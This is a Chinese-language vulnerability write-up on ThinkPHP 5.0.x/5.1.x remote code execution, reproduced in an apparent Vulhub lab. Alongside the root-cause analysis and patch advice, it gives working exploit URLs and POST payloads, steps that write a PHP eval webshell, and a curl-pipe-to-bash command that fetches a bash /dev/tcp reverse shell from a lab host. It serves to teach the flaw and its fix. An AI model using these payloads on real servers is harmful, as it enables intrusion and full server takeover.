跳转至

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

漏洞描述

thinkphp5.0 中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本

  • ThinkPHP5.0.x < 5.0.23
  • ThinkPHP5.1.x < 5.1.31

环境配置

  • VulHub 项目
  • Docker-compose 启动

默认端口号为 8080


漏洞复现

探测 ThinkPHP 版本

构造报错,查明 ThinkPHP 版本为 V5.0.20,符合利用前提

漏洞验证

CSS
http://192.168.40.129:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

或:
http://192.168.40.129:8080/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

可以看到成功执行 phpinfo

CSS
http://192.168.40.129:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

执行系统命令

CSS
http://192.168.40.129:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%3F%3E

%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%3F%3E=urlencode(<?php @eval($_POST[1]);?>)

写入 shell

之后可以直接蚁剑连接,url ={IP}:{PORT}/shell.php

原理分析

ThinkPHP 关于路由

默认是不开启路由的,所以会按 PATH_INFO 的模式来处理 URL

CSS
http://serverName/index.php/module/controller/action/param/value/...

ThinkPHP 关于控制器

PHP
namespace app\index\controller;

use think\Controller;

class Index extends Controller
{

    public function _initialize()
    {
        echo 'init<br/>';
    }

    public function hello()
    {
        return 'hello';
    }

    public function data()
    {
        return 'data';
    }
}

ThinkPHP 关于 URL 访问

CSS
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
等价于:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

ThinkPHP 关于 URL 大小写转换

即 url_convert 选项默认为 true,不严格区分大小写(大写统一转为小写)

漏洞触发逻辑

在官方修改的地方加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。 请求:

CSS
http://127.0.0.1/index.php/index/index/index

命中断点

一步步跟进 controller 的走向,发现在同文件下的 exec 函数,实例化控制器

跟进 controller 方法,thinkphp\library\think\App.php

使用 parseModuleAndClass 方法来解析,继续跟进

分析一下代码,发现会有一个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。

此处没有包含,所以会进入下面的判断,最后使用 parseClass 来解析,跟进 parseClass 函数

发现经过 parseName 之后 index 变成了首字母大写,原因是经过了命名风格转换。

最后会将命名空间类名等进行拼接

返回我们带命名空间的完整类名。

跟进,回到了 controller 方法,此时判断类是否存在,不存在会触发自动加载类。

之后就是实例化类,使用反射来调用类的相应方法了。


大概流程摸清楚了,那么这个漏洞是怎么触发的呢?

在跟踪的时候我们发现,类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分,结合那一个判断代码:反斜杠是否存在,直接返回类名的操作。


不难想到是可以调用任意类的方法。

CSS
http://127.0.0.1/index.php/index/think\app/index

请求一下,发现报错了

what the fuck? 我的反斜杠怎么变成了正斜杠了?而且这个控制器怎么获取的是 Think?

猜测是浏览器的原因,用 bp 发包一样如此,那么还有没有其他方法可以获取到呢?

翻了一下 tp 的配置文件

发现可以使用 s 来获取参数,那么我们就可以尝试这样请求

Text Only
http://127.0.0.1/index.php?s=/index/think\app/index

成功实例化了 App 类,因为没有 index 方法所以这里会报错。

但已经验证了整个漏洞的原理。

控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。

形如:

CSS
http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞利用方法

  • 实例化 ThinkPHP 自带的类和模块,调用其中的可利用方法(能写文件和执行命令)
CSS
http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞可用 Payload

综上,由于 Windows 的原因,所以有一些 payload 在 windows 的主机上是不可以利用的。

那么哪些 payload 是可以兼容多个平台呢?

由于 windows 自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。


5.1 是下面这些:

CSS
think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

CSS
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

CSS
think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

修复建议

更新框架修复

如果你使用 composer 安装,并且一直保持最新版本使用的话,使用下面的指令更新到最新版本即可

CSS
composer update topthink/framework

如果你使用了 git 版本库安装,也请及时更新你所用的仓库版本

如果各种原因暂时无法更新到最新版本(早期版本升级到最新版本可能存在兼容性问题,请首先参考官方手册的升级指导章节),可以参考下面的方式进行手动修正

手动修复

5.0 版本

在 think\App 类的 module 方法的获取控制器的代码后面加上

PHP
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

5.1 版本

在 think\route\dispatch\Url 类的 parseUrl 方法,解析控制器后加上

PHP
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞

漏洞描述

2019 年 1 月 11 日,某安全团队公布了一篇 ThinkPHP 5.0.远程代码执行漏洞文档,公布了一个 ThinkPHP 5.0.远程代码执行漏洞。文章中的该漏洞与 2018 年 12 月的 ThinkPHP 5.0.*远程代码执行漏洞原理相似,攻击者可利用该漏洞在一定条件下获取目标服务器的最高权限。后经研究,在一定条件下,ThinkPHP 5.1.x 版本也存在该漏洞,在满足条件的情况下,攻击者可利用该漏洞执行任意代码。

影响版本

  • ThinkPHP v5.0.x < 5.0.23
  • ThinkPHP v5.1.x < 5.0.31

环境复现

  • Vulhub 项目
  • Docker-compose 启动


漏洞复现

探测 ThinkPHP 版本

Tip

这里可以使用 TPscan 去扫描一下,可以看到不仅发现了版本,连漏洞的 payload 也写出来了

漏洞验证

Text Only
【GET】
http://192.168.40.129:8080/index.php?s=captcha
【POST】
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

Note

可以看到页面回显命令执行结果


GETshell


Bash
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.50.2:8080/sh.sh | bash
Bash
# http://192.168.50.2:8080/sh.sh 内容
bash -i >& /dev/tcp/192.168.50.2/2333 0>&1

Note

注意这里并不能直接使用 bash -i >& /dev/tcp/192.168.50.2/2333 0>&1 等反弹命令去反弹

可以 echo 写马 比如:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > 1.php


Note

当然也能用集成的工具去获得 shell

Success

蚁剑连接

原理分析

关于 s = captcha 的说明

Note

查看官方文档,发现这是个验证码的模块


Important

值得一提的是,在漏洞复现时,必须使用 s = captcha,其后可以跟其他参数,但是必须要有这一句,原因可能是这个模块触发了接下来的 Request 模块

漏洞触发逻辑

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

ThinkPHP5.0.x RCE 分析与利用

修复建议

  • 升级 ThinkPHP 版本或者打官方补丁